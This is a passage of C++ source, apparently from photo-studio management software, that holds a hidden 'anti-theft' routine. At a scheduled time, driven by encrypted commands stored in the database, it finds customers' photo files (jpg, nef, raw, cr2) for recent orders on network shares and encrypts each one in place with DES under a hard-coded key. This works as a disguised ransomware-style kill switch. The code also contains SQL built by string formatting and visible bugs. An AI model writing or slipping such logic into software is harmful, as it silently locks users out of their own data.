  757. else
  758. {// 指定时间执行;
  759. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
  760. CTime curTime = CTime::GetCurrentTime();
  761. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  762. {
  763. try
  764. {
  765. DWORD dwIndex = 0;
  766. CRecordset tagRst(pMaindb);
  767. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  768. tagRst.Open(CRecordset::forwardOnly, strSQL);
  769. CStringArray AryOrder;
  770. while ( !tagRst.IsEOF() )
  771. {
  772. tagRst.GetFieldValue(_T("id"), strSQL);
  773. tagRst.MoveNext();
  774. ++dwIndex;
  775. AryOrder.Add(strSQL);
  776. it->vtOrders.push_back(strSQL.GetString());
  777. if ( dwIndex == it->nCount)
  778. break;
  779. }
  780. tagRst.Close();
  781. // 查找文件(多目录共享的情况);
  782. TblNetShareInfo *pNetShareInfo = NULL;
  783. CStringArray AryShareDirectory;
  784. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  785. {
  786. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  787. {
  788. AryShareDirectory.Add((*it_share)->szShareDirectory);
  789. }
  790. }
  791. // 找出所有文件;
  792. filehelpImpl ff;
  793. STR_VEC vtFiles;
  794. TString strDirctory;
  795. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  796. {
  797. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  798. {
  799. strDirctory = AryShareDirectory.ElementAt(j);
  800. strDirctory.append(_T("\\"));
  801. strDirctory.append(AryOrder.ElementAt(i));
  802. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  803. }
  804. }
  805. BYTE szKey[MAX_PATH] = "lyfz.net";
  806. BYTE szVI[MAX_PATH] = "WorkbyIT";
  807. // 计时;
  808. // 对找到的所有文件进行加密;
  809. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  810. {
  811. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  812. }
  813. }
  814. catch (CDBException* e)
  815. {
  816. #ifdef _DEBUG
  817. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  818. #endif
  819. }
  820. it->bExecStatus = TRUE;
  821. }
  822. }
  823. }
  824. }
  825. }
  826. // 再重组Json,并更新;
  827. pJson = cJSON_CreateObject();
  828. cJSON_AddStringToObject(pJson, "cmd-guid", stDetail.strCmdGuid);
  829. cJSON_AddBoolToObject(pJson, "SQL-Opt", stDetail.bSQLOpt);
  830. cJSON_AddBoolToObject(pJson, "Data-Opt", stDetail.bSQLOpt);
  831. cJSON *pSQLArry = cJSON_CreateArray();
  832. cJSON_AddItemToObject(pJson, "SQL-Ary",pSQLArry);
  833. pAryItem = NULL;
  834. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  835. {
  836. pAryItem = cJSON_CreateObject();
  837. cJSON_AddStringToObject(pAryItem, "Statement", it->strStatement.GetString());
  838. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
  839. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  840. cJSON_AddItemToArray(pSQLArry, pAryItem);
  841. }
  842. pSQLArry = cJSON_CreateArray();
  843. cJSON_AddItemToObject(pJson, "Data-Ary",pSQLArry);
  844. pAryItem = NULL;
  845. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  846. {
  847. DATAOpt opt = *it;
  848. pAryItem = cJSON_CreateObject();
  849. cJSON_AddNumberToObject(pAryItem, "Type", it->nType); // 未选, 未取;
  850. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime);
  851. cJSON_AddNumberToObject(pAryItem, "Count", it->nCount);
  852. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  853. cJSON_AddItemToArray(pSQLArry, pAryItem);
  854. cJSON *pAryOrder = cJSON_CreateArray();
  855. cJSON_AddItemToObject(pAryItem, "Order-Ary",pAryOrder);
  856. for (STR_VEC::iterator it_order = it->vtOrders.begin(); it_order != it->vtOrders.end(); it_order++ )
  857. {
  858. pAryItem = cJSON_CreateObject();
  859. cJSON_AddStringToObject(pAryItem, "order", it_order->c_str());
  860. cJSON_AddItemToArray(pAryOrder, pAryItem);
  861. }
  862. }
  863. char *out = cJSON_Print(pJson);
  864. #ifdef _DEBUG
  865. WriteTextLog(_T("Json:%s"), out);
  866. #endif
  867. g_strAntiTheftInfo = out;
  868. delete []out;
  869. cJSON_Delete(pJson);
  870. des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
  871. strSQL.Format(_T("update version set reverse5 = '%s'"), g_strAntiTheftInfo);
  872. try
  873. {
  874. pMaindb->ExecuteSQL(strSQL);
  875. }
  876. catch (CDBException* e)
  877. {
  878. #ifdef _DEBUG
  879. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  880. #endif
  881. }
  882. Sleep(1000);
  883. }
  884. return 0L;
  885. }